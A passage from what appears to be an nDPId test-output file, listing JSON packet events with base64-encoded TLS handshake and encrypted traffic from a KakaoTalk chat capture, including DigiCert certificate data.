li9R764EPwi6dKemPhJKiX7lEbkQpmEUBxfAf0UJTFcTtlk\/cUMs0bSobxwtIeOo4ID5DCCA+AwHwYDVR0jBBgwFoAUUOpzidsp+xCPnuUBINTeeZlIg\/cwHQYDVR0OBBYEFEMJk0D6EUswM+zyh26NcRjPiryOMIICOwYDVR0RBIICMjCCAi6CDiouZmFjZWJvb2suY29tggxmYWNlYm9vay5jb22CCyouZmJzYnguY29tggsqLmZiY2RuLm5ldIIOKi54eC5mYmNkbi5uZXSCDioueHkuZmJjZG4ubmV0ggZmYi5jb22CCCouZmIuY29tghgqLmZhY2Vib29rY29yZXd3d2kub25pb26CFmZhY2Vib29rY29yZXd3d2kub25pb26CGCouZmJjZG4yM2Rzc3IzanFucS5vbmlvboIWZmJjZG4yM2Rzc3IzanFucS5vbmlvboIYKi5mYnNieDJxNG12Y2w2M3B3Lm9uaW9ughZmYnNieDJxNG12Y2w2M3B3Lm9uaW9ughAqLm0uZmFjZWJvb2suY29tgg8qLm1lc3Nlbmdlci5jb22CDW1lc3Nlbmdlci5jb22CGioubS5mYWNlYm9va2NvcmV3d3dpLm9uaW9ughsqLnh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGXh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGyoueHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIZeHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIOKi54ei5mYmNkbi5uZXSCDHh6LmZiY2RuLm5ldIIbKi54ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughl4ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughhtLmZhY2Vib29rY29yZXd3d2kub25pb24wDgYDVR0PAQH\/BAQDAgOIMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHR8EWjBYMCqgKKAmhiRodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vY2EzLWcyOS5jcmwwKqAooCaGJGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9jYTMtZzI5LmNybDBCBgNVHQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":258,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02100{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":259,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":609168,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABShRGEAAjgYq5a38YQIKGFK8AbuKt2bo7mJTxCgzUBCkrCEVAAAgBDswOTA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzB7BggrBgEFBQcBAQRvMG0wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBFBggrBgEFBQcwAoY5aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUNBLTMuY3J0MAwGA1UdEwEB\/wQCMAAwDQYJKoZIhvcNAQEFBQADggEBAH+E197NT+uv3Gl8Ww0Hto52ip4HI8J9GUO31fXVPsBGGztPmX3vZUA9efuefcpD+c2QQNKsmEtaGlR+Pq2Ym7KusJlTkLZFL0HEeHlPMlC7JkqP3K\/+DkhpxjoDBHNmeFnn45su154px8ew83Ei9w0gkLUTjRJHdw135yyAdeFyLcpRVBaExOCS5rUMN2SxBjQlAqoaeMNHcqm61B\/TRBodNw2f2GV45V33ZCjqHQZ4orzOuwKHpoiBLcUbRodTiFMpead9ct0m\/MnY+4rDyDD+Nd\/OS40p2kN1mfylJsFxllg98sOS0J+KuLubjD1CJFuBsekpEiWyV2GwDB6GLpQABlwwggZYMIIFQKADAgECAhAKXxFNA1sXkRfS79QDjD87MA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMDgwNDAyMTIwMDAwWhcNMjIwNDAzMDAwMDAwWjBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv2EKKRAfXv40N1EI+B77Iu1hvgsNcExQYyZ1FblBiJe28KAVuwhg4ELoBSkQhzaKKGWo7zEHdG02ly8oRmYExyp5JnqZ1Y7DbU+gXq28PZHCWXteNmzAU88ACDI+EGRYEBNpxwzunEJRAPkFRO4kznof7YwRvRKo8xX0HHoxaQEbp+ZdwJpsfgme51JEShA6I+SbtgOvqJy0W5\/US62SjM61ESqqNxiNtMK42FwGjPj\/I701XtR8Pn6DDpGWBZjDsh\/jyGXrqXtdoCzM\/DzZbe3M+ktDjMnUuKVhHLJAtigS37n4X\/7TssnvPbQeS3wcTJk2nj3r7KdoXh3fZ25e+wIDAQABo4IC+jCCAvYwDgYDVR0PAQH\/BAQDAgGGMIIBxgYDVR0gBIIBvTCCAbkwggG1BgtghkgBhv1sAQMAAjCCAaQwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cuZGlnaWNlcnQuY29tL3NzbC1jcHMtcmVwb3NpdG9yeS5odG0wggFkBggrBgEFBQcCAjCCAVYeggFSAEEAbgB5ACAAdQBzAGUAIABvAGYAIAB0AGgAaQBzACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAYwBvAG4AcwB0AGkAdA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":259,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01710{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":260,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":612036,"pkt_caplen":1043,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1043,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABANRGUAAjgYsCa38YQIKGFK8AbuKt2bo82JTxCgzUBikrEovAAAAdQB0AGUAcwAgAGEAYwBjAGUAcAB0AGEAbgBjAGUAIABvAGYAIAB0AGgAZQAgAEQAaQBnAGkAQwBlAHIAdAAgAEMAUAAvAEMAUABTACAAYQBuAGQAIAB0AGgAZQAgAFIAZQBsAHkAaQBuAGcAIABQAGEAcgB0AHkAIABBAGcAcgBlAGUAbQBlAG4AdAAgAHcAaABpAGMAaAAgAGwAaQBtAGkAdAAgAGwAaQBhAGIAaQBsAGkAdAB5ACAAYQBuAGQAIABhAHIAZQAgAGkAbgBjAG8AcgBwAG8AcgBhAHQAZQBkACAAaABlAHIAZQBpAG4AIABiAHkAIAByAGUAZgBlAHIAZQBuAGMAZQAuMBIGA1UdEwEB\/wQIMAYBAf8CAQAwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wgY8GA1UdHwSBhzCBhDBAoD6gPIY6aHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzAdBgNVHQ4EFgQUUOpzidsp+xCPnuUBINTeeZlIg\/cwDQYJKoZIhvcNAQEFBQADggEBAB7ipUiebNtTOA\/vphoqrOIDQ+2avD6OdRvw\/S4iWawTwGHi5\/rpmc2HCXVUKL9GYNy+USyS8xuRfDEIcOI3ucFbqL2jCwD7GhX9A61YasXHJJlIR0YxHpLvtF9ONMeQvzHB+LGEhtCcAarfilYGzjrpDq6XdF3XcZpCdF\/ejUN83ulV7WkAywXgemFhM9EZTfkI7qA5xSU1tyvED7Ld8aW3DiTEJiiNeXf1L\/BXunwH1OH8zVowV36GEEfdMR\/X\/KLCvzB8XSSq6PmuX2p0ws5rs0bYIb4p1I5eFdZCSucyb6Sxa1GDWL4\/bcf72gMhy2oWGU4K8K2Eyl2Us1p292EWAwEAkQwAAI0DABdBBF6hk1Yewa00uIJUS1f8EGQdfuetE3UDgcfK1KuF8DJSBKJSEPoE6VPxncMmJsPNt5F\/a0hmJ8KTbudHBxzPJocARjBEAiANHy3l9Wg1jYhXx6qsp9jjZzbvcPiJcvxfW51qSwHb9gIgMOMuVzo3DjBChuJlhLhS4A5pSe4rOcJyYLqIsIe8xbAWAwEABA4AAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":260,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":261,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":614905,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqTUAAPwalsAoYUryt\/GECircBu1PEKDNm6O5iUBBBAKVMAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":261,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":262,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":615088,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqTkAAPwalrwoYUryt\/GECircBu1PEKDNm6PNiUBBLAJZMAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":262,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":263,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":615210,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqT0AAPwalrgoYUryt\/GECircBu1PEKDNm6Pc9UBBVAIhxAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":263,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00548{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":264,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":652137,"pkt_caplen":178,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":178,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKIqUEAAPwalMwoYUryt\/GECircBu1PEKDNm6Pc9UBhVAIPUAAAWAwEARhAAAEJBBCZZ2wh0b7p+4q5eEO79DW58Pvc4nyT0xrNL3bCO2plbKHFGdyRmMh0ZcHNEB\/lKFQGaH\/L\/PtM0\/SAirYCEtroUAwEAAQEWAwEAJDsdVT0taM9UGHOwQMYlU0bNX7fcATICi5AHNvPXOMvzdoQzew=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":264,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":265,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":736212,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChRGkAAjgYv4638YQIKGFK8AbuKt2bo9z1TxCitUBCkrDhLAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":265,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":266,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":794013,"pkt_caplen":778,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":778,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAvprl0AAjwa9MR8NRFQKGFK8AbuwnWIYYc11uQRkUBikrE2iAAAXAwECzSKAk0nNit3Frl\/ZOo9S\/h6\/\/JYnDWWLB+N0rspKv8UhRE1+0iD94RKndo4zFpH9yGKM881DJzxQ1AfnaSjcInPveWpb4SLooOqA9oBfzYhvOvmemywooIhuBqO51Xl0Ju2wfEl\/4xws1OV4Z6xDNIFnbgAfdV3GOgXeOpe59P8xwckc+Zf1zzwbeO+rMKEJ07oDAAhMnunk3wrPi5pquWwJBqPog5FK0BkQps8pRmSdzo+yHtQFMLn91bRK0jVTmTPSRQ31kGmO4+O9vNXdG298ieLCYfFNWJ\/\/lPbuUDW9XzP1c1CsCiJrlqQk7+h5O\/nQ1k9v2p2lgKs6vEmfip3U6kj6YVG0MhlQ8D67+BoretStBWmm8uTeP1415RQPbaiV3Tx8zL1zZdi45WC0BvJydJHNx6he5Vh01xqF5bd0U\/S1L2Mpe5cfaAgKh4aVULr+UEf9T6ZX1Br9u9nh7VfnDmfnB8yhzk6IgdPVxHCtjLyOr\/qIQf8AbOrEU2g0RQ5I+c7jOvAnU0QhgRqYCTBZU87UVrTDIV5iF7JgAGoU0qNVwLtBLhwiZl5q+7yk7f3gGmeZv\/uGYQmwMsLdAzLK2uiY6Ypkt3g0XldkRnTXpb6Pof0cQKiZKtVyDOczwavslYh8IihhZVCIDo\/ynwv84kwK2HoQJgDMNHaaiLfg1CfbciE4QmsQnI6xiWGry4sdw3iqB2WoUqaAqW7Cyqy36sSA+kG5tTOqYnKTrqA1GU9jI+yQN5oTm8NDaDDC7uu2DfsF+EjEH6dHqxnXQqN\/cPZibMMhN0XhZVYmr\/Zqo6mqkz3k+Wwsxg2uymqQntA5heCbecCbTl\/WwzcvHFjJzLGbO6WT+W7O3ojHZwNYeSsMWJXn\/ySgvhblo1M4N8IIrwXl7bXiFLK4U7EltcE5QiGaZi9ZtrN2iY\/rUsZU5iTRz42B+qN8d\/C5DQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":266,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":267,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":831031,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjw40AAPwaKtwoYUrwfDURUsJ0Bu3W5BGRiGGSfUBBfAJ1xAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":267,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":268,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":966132,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFdRG0AAjgYvs638YQIKGFK8AbuKt2bo9z1TxCitUBikrHPzAAAUAwEAAQEWAwEAJKwdKZ2NDt5ze7yUKw10pzowgyKHfU+iDmCTOpdSftiIYUx5uA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":268,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":269,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":974127,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqUUAAPwalrAoYUryt\/GECircBu1PEKK1m6PdsUBBVAIfIAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":269,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01084{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":270,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":997138,"pkt_caplen":578,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":578,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAjIqUkAAPwajoQoYUryt\/GECircBu1PEKK1m6PdsUBhVAHTBAAAXAwECBTV71aZwuT\/95vLElA4\/W58DfGN4gW7C43fBXI7wxtxwtgiYgKmUiyv8GEq6OvGvnPapOKNHJsDJzymlXLctz3eSv53bhGQOCCuIhoMHXcQlTqusUmd4FfXXvCPbimpYJNsNJTarwOtjGg7smbBpods3TXwKxb92WmP904fFQOuTiqDNDIUyQOVxtsXgyAKg\/2MJdX+rFsSEzV4hj53zI9nmhPbqjECXly8ocgcc56yA4yJpHs35OtfJxCMo5zA1AB49MxGoDmQ73b6emXNCVLTfSHBvV2hfrddRmUoL+6fWcXbXy37RMFBUjaUvoKeuCiWIb2AwvRYRr6uODsr2XBfi5CBAkYLTJv2Rd6gjFFhLdicE3MQU8tIlj8JGxqMI2cBT8JgNi5W\/hOsRB+jpoWe9+H8bOYWH5rCA2Uyb8YpKiX\/6a8e8PY1nd3nrik5ltVDqnKd4NhiS7M4P+QhFmH5w\/9Ou8ZHQzlswTNxMMYcUbjGlTg3TBEHhsmuh0Ncx+yDtTFlm++CxrdM+nlQmj+m0CE0LgNLw8hz1m8ZBI8I\/gPFiOI1WiMBpVbWVz2q9GyiAw4Uhr9fC24KHlYkzAFGxyk4h\/iMEPuYRbJuH7ydkEpaSg8jCWFHJmPzS+TGCqkmByR0TBRffxuIl9Bqpcap4Ee7lUxf7lQ62GdLdkvXC7PLFW5Y="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":270,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":271,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":127936,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChRHEAAjgYv4a38YQIKGFK8AbuKt2bo92xTxCq3UBCkrDYSAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":271,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00417{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":272,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":131873,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEVeeEAAjgYiaK38YQIKGFK8AbuKr2AiubP8GvWyUBiii10aAAAXAwEAGN9JXJy+BsySiG8O3BkolG+oOVYycfWptw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":272,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":273,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":135626,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmyUAAPwbpMwoYUryt\/GECiq8Bu\/wa9bJgIrnQUBBVAFbWAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":273,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00417{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":274,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":357794,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEVRHUAAjgYvw638YQIKGFK8AbuKt2bo92xTxCq3UBikrLvRAAAXAwEAGCkUYQXzCSfJtGcPRUresj0dDH5fhkyQ3A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":274,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":275,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":402411,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqU0AAPwalqgoYUryt\/GECircBu1PEKrdm6PeJUBBVAIWhAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":275,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":276,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":402594,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMcqVEAAPwalCgoYUryt\/GECircBu1PEKrdm6PeJUBhVAEj8AAAXAwEAmmA9NhTXfVdGwDHpCkANz+TQTXcsp6XZT4WCY+EQ6i98YuX6\/TVtB4m5uh05TKvOl5C653qDAnHz\/9SSAwngrU56RzkdJPTTvKhmzRZPrjBNac92dEA+Qw\/rNccQGjaWA\/4\/b1mdBG5OCZPGUz9VQ0w1wGwy1Qk8cAPVqaAiuj6nZfsdNQp9KhipZ5lCWSbUpK0318yRdkxgxlg="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":276,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00750{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":277,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":459998,"pkt_caplen":328,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":328,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAATgqVUAAPwakmAoYUryt\/GECircBu1PEK1Zm6PeJUBhVACn2AAAXAwEBCyVH1Nxkw+7r7G5e0Ck4iQD5JT0v068Ng7bnaHmzRNS24osgZp1hn5jzZ+Wagz0AMa\/WcrVyuHJLZuApify1YTnialAACf40Hsenqr1EqF72VNdL7kYGHkYgi+knqXVJB1RWfWUsAtSTJ3PpbbOGC0QJIvgusOVsrDPJtn1zjCca8o3zpoDOljgQnBMiEyONYd0h+OfaLMZ\/LkP2X9vK+TDnp3m\/IoNE4uXdRIC2sPSfL3KDpx24z9PK3v3SnjGrIrNuUnt+k7ePkwBepE+lNe8hveksjZa8b\/97sIPBEFOo9V4C\/6gHyP1xhm1\/faYmnNMV11nw13UgmrfpUJwp2B68qKS9yh62yHuF4w=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":277,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":278,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":466040,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChRHkAAjgYv3638YQIKGFK8AbuKt2bo94lTxCtWUBCkDTX1AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":278,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":279,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":542029,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChRH0AAjgYv3q38YQIKGFK8AbuKt2bo94lTxCxmUBCi\/TX1AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":279,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00430{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":280,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":698035,"pkt_caplen":94,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAE5RIEAAjgYvt638YQIKGFK8AbuKt2bo94lTxCxmUBii\/XPhAAAXAwEAIRp9zheDDunx8M1mUV6GTknqngAkb2ViybWLWV77oI6HMw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":280,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":281,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":705084,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqVkAAPwalpwoYUryt\/GECircBu1PELGZm6PevUBBVAIPMAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":281,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00418{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":282,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":766028,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEVRIUAAjgYvv638YQIKGFK8AbuKt2bo969TxCxmUBii\/Z69AAAXAwEAGMiPh0EQruTpFXaid7SHWrSvPM5mVHgKuA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":282,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} 